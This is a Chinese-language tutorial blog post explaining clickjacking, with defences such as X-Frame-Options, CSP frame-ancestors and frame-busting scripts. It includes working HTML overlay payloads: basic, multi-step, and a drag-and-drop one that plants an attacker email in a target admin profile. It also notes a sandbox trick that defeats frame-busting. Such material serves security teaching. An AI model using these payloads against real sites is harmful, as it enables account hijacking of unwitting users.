本文主要是介绍点击劫持漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
点击劫持漏洞
- 1.点击劫持漏洞概述
- 2.点击劫持手段
- 预填表单技巧
- 基本有效载荷
- 多步骤有效负载
- 拖放+点击载荷
- 3.点击劫持防御策略
- 客户端防御
- 服务器端防御
- JavaScript 破坏框架的脚本
1.点击劫持漏洞概述
在点击劫持攻击中,用户被欺骗点击网页上的一个不可见或伪装成不同元素的元素。这种操纵可能会对用户造成意外后果,如下载恶意软件,重定向到恶意网页,提供凭据或敏感信息,转账,或在线购买产品。
2.点击劫持手段
预填表单技巧
有时可以在加载页面时使用GET参数填充表单字段的值。攻击者可能会滥用这种行为来填充表单的任意数据并发送点击劫持有效负载,以便用户按下提交按钮。
基本有效载荷
<style>iframe {position:relative;width: 500px;height: 700px;opacity: 0.1;z-index: 2;}div {position:absolute;top:470px;left:60px;z-index: 1;}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
多步骤有效负载
<style>iframe {position:relative;width: 500px;height: 500px;opacity: 0.1;z-index: 2;}.firstClick, .secondClick {position:absolute;top:330px;left:60px;z-index: 1;}.secondClick {left:210px;}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
拖放+点击载荷
<html><head><style>#payload{position: absolute;top: 20px;}iframe{width: 1000px;height: 675px;border: none;}.xss{position: fixed;background: #F00;}</style></head><body><div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div><div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div><div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div><iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe><div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div></body>
</html>
3.点击劫持防御策略
客户端防御
在客户端执行的脚本可以执行操作以防止点击劫持:
- 确保应用窗口是主要或顶级窗口。
- 使所有框架可见。并防止在不可见框架上点击。
- 检测并警告用户可能的点击劫持尝试。
具体实操的方法:
- 浏览器的安全设置: 一些浏览器可能会基于其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
- HTML5 iframe sandbox 属性: 攻击者可以通过设置 sandbox 属性为
allow-forms
或allow-scripts
值而不包括allow-top-navigation
来中和破坏框架脚本。这会阻止 iframe 验证是否为顶级窗口,例如:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
服务器端防御
1、X-Frame-Options
HTTP响应头 通知浏览器有关在 <frame>
或 <iframe>
中呈现页面的合法性,有助于防止点击劫持:
X-Frame-Options: deny
- 没有域可以嵌入内容。X-Frame-Options: sameorigin
- 只有当前站点可以嵌入内容。X-Frame-Options: allow-from https://trusted.com
- 只有指定的 ‘uri’ 可以嵌入页面。
2、CSP中的frame-ancestors
指令是防止点击劫持的建议方法:
frame-ancestors 'none'
- 类似于X-Frame-Options: deny
。frame-ancestors 'self'
- 类似于X-Frame-Options: sameorigin
。frame-ancestors trusted.com
- 类似于X-Frame-Options: allow-from
。
JavaScript 破坏框架的脚本
尽管不是完全可靠,基于 JavaScript 的破坏框架脚本可用于防止网页被嵌套。示例:
if (top !== self) {top.location = self.location;
}
这篇关于点击劫持漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!